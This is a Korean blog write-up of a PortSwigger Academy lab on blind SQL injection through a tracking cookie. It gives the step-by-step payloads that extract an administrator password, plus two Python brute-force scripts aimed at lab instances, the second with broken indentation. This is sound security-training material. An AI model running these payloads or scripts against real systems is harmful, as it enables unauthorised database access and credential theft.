Dork's port

SQL-injection - Blind SQL injection with conditional responses 본문

portswigger-academy

SQL-injection - Blind SQL injection with conditional responses

Dork94 2020. 7. 14. 16:25
  • Cookie를 이용해 blind injection을 하는 문제로, 정상적인 결과가 리턴될 때에는 Welcome back! 이라는 문장이 보이면, 정상적으로 리턴되는 것.

  • cookie의 값을 보면 TrackingId 라는 key로 dNVZJnXZvN35tfKj 와 같이 값이 존재한다.

  • Base64 decoding을 해보면 적절한 text로 변형되는 것 같진 않다 (e.g., tՙ&uټݹ岣).

  • 그래서 그냥 SQL injection 코드를 진행해보기로 했다. ' OR 1=1 -- 를 진행한 결과, 정상적으로 Welcome back! 이 출력되었고, 패스워드의 개수를 알기 위해 아래의 쿼리문을 진행 하였다 (테이블의 정보는 문제에서 제공함).

  • ' union select password from users where username='administrator' and length(password)>20-- == False

  • ' union select password from users where username='administrator' and length(password)>19-- == True

  • 즉, 패스워드는 20자리로 구성되어있는 것을 확인할 수 있으며, 이제 노가다를 통해 얻어야 한다. 노가다가 기억이 나지 않아 예전에 풀었던 LOS 문제의 write up을 참조하였으며, RIGNT(LEFT(password, N), 1) 과 같이 password의 n 번째 문자에 대해 질의가 가능하다.

  • 그러나, ' union select password from users where username='administrator' and ord(right(left(password,1)))>1-- 와 같이 질의해봐도 정상적인 리턴이 되지 않는데.... 왜지?

  • ' union select password from users where username='administrator' and ord('a') > 1 -- 도 정상적인 결과를 내놓지 않는다. 따라서 ord 함수가 없는 듯.

  • ' union select password from users where username='administrator' and ASCII('a') > 1 -- 이건 된다!

  • ' union select password from users where username='administrator' and ascii(right(left(password,1),1)) > 1 -- 이것도 된다!

  • ' union select password from users where username='administrator' and ascii(right(left(password,1),1)) = 56 -- == True

  • 이제 귀찮으니 아래 코드를 넣고 기다려보자 (파이썬 코드에서 <, > 을 이용하면 보다 적은 쿼리로 찾아낼 수 있지만 코딩하기 귀찮ㄷ..).

  • import requests
    
    pass_length = 20
    password = list()
    
    for i in range(1,pass_length+1):
        for ascii_code in range(32, 127):
            cookies = {
                '$Cookie: session': '2oYF4vrpAHIjJlnjXattOEKq3EjAktnL',
                'TrackingId': '\' union select password from users where username=\'administrator\' and ascii(right(left(password,{0}),1)) = {1} --'.format(i, ascii_code),
            }
    
            headers = {
                'Connection': 'keep-alive',
                'Cache-Control': 'max-age=0',
                'Upgrade-Insecure-Requests': '1',
                'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
                'Sec-Fetch-Site': 'cross-site',
                'Sec-Fetch-Mode': 'navigate',
                'Sec-Fetch-User': '?1',
                'Sec-Fetch-Dest': 'document',
                'Referer': 'https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses',
                'Accept-Language': 'en-US,en;q=0.9,ko;q=0.8',
            }
    
            response = requests.get('https://ac831fd01e6494c980cb1431000f0072.web-security-academy.net/', headers=headers, cookies=cookies)
    
            if response.text.find('Welcome back!') != -1:
                print('password {0} of {1} found!'.format(i, pass_length))
                password.append(chr(ascii_code))
                break
    
    print(password)
  • 결과는 ['8', 'n', '7', 'l', 'c', 'k', 'g', 'n', 'n', '6', 'p', 'i', 'u', 'k', 'r', 'e', 'y', '7', 'c', 'f'] 과 같다. 음.. 시도해보니 안되는데 예전에 있던 대소문자 이슈와 같을듯.

  • 
    for i in range(1,pass_length+1):
        for ascii_code in range(32, 127):
    
            cookies = {
                '$Cookie: session': 'Wv1F1u7STNlSYee0kQBnK0ejGhPIFDFo',
                'TrackingId': '\' UNION SELECT password from users where username=\'administrator\' and right(left(password,{0}),1) = \'{1}\' --'.format(i, chr(ascii_code)),
            }
    
            headers = {
                'Connection': 'keep-alive',
                'Cache-Control': 'max-age=0',
                'Upgrade-Insecure-Requests': '1',
                'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
                'Sec-Fetch-Site': 'cross-site',
                'Sec-Fetch-Mode': 'navigate',
                'Sec-Fetch-User': '?1',
                'Sec-Fetch-Dest': 'document',
                'Referer': 'https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses',
                'Accept-Language': 'en-US,en;q=0.9,ko;q=0.8',
            }
    
            response = requests.get('https://ac821f8f1ea81f29801b590500cc0089.web-security-academy.net/', headers=headers, cookies=cookies)
    
    
    
      if response.text.find('Welcome back!') != -1:
          print('password {0} of {1} found!'.format(i, pass_length))
          password.append(chr(ascii_code))
          break

print(password)

```

  • 위의 코드로 동작을 확인하였으며, 아마 이전 코드는 웹 세션이 만료되면서, 비밀번호가 바뀌어서 그런 것 같다. 더 빨리 찾도록 코딩을 해놔야 겠다.
Comments